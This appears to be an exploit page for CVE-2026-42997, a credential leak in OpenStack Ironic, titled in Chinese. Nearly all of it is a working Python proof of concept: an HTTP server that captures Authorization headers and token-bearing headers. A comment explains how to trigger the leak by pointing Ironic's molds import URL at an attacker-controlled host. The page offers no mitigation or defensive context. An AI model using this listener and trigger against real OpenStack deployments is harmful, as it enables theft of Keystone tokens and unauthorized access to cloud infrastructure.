CVE-2026-42997 OpenStack Ironic凭证泄露漏洞

#!/usr/bin/env python3 """ PoC for CVE-2026-42997 This script simulates a malicious server waiting for the leaked credentials and demonstrates how the vulnerable endpoint might be triggered (conceptual). """ import http.server import socketserver from urllib.parse import urlparse, parse_qs class CredentialInterceptor(http.server.BaseHTTPRequestHandler): def do_GET(self): print("[+] Received request:") print(f" Path: {self.path}") # Capture Authorization header if present auth_header = self.headers.get('Authorization') if auth_header: print(f" [!] Leaked Credential: {auth_header}") # In a real scenario, the Keystone token would be here # e.g., 'Bearer gAAAAABl...' # Capture other potential headers for header, value in self.headers.items(): if 'token' in header.lower() or 'auth' in header.lower(): print(f" {header}: {value}") self.send_response(200) self.end_headers() self.wfile.write(b"Captured") PORT = 8000 with socketserver.TCPServer(("", PORT), CredentialInterceptor) as httpd: print(f"[*] Listening on port {PORT} for leaked credentials...") print("[*] Trigger the vulnerability by invoking Ironic molds import pointing to this server.") httpd.serve_forever() # Note: The actual trigger involves an API call to OpenStack Ironic # configuring the 'molds' import URL to point to the attacker's server (e.g., http://attacker-ip:8000).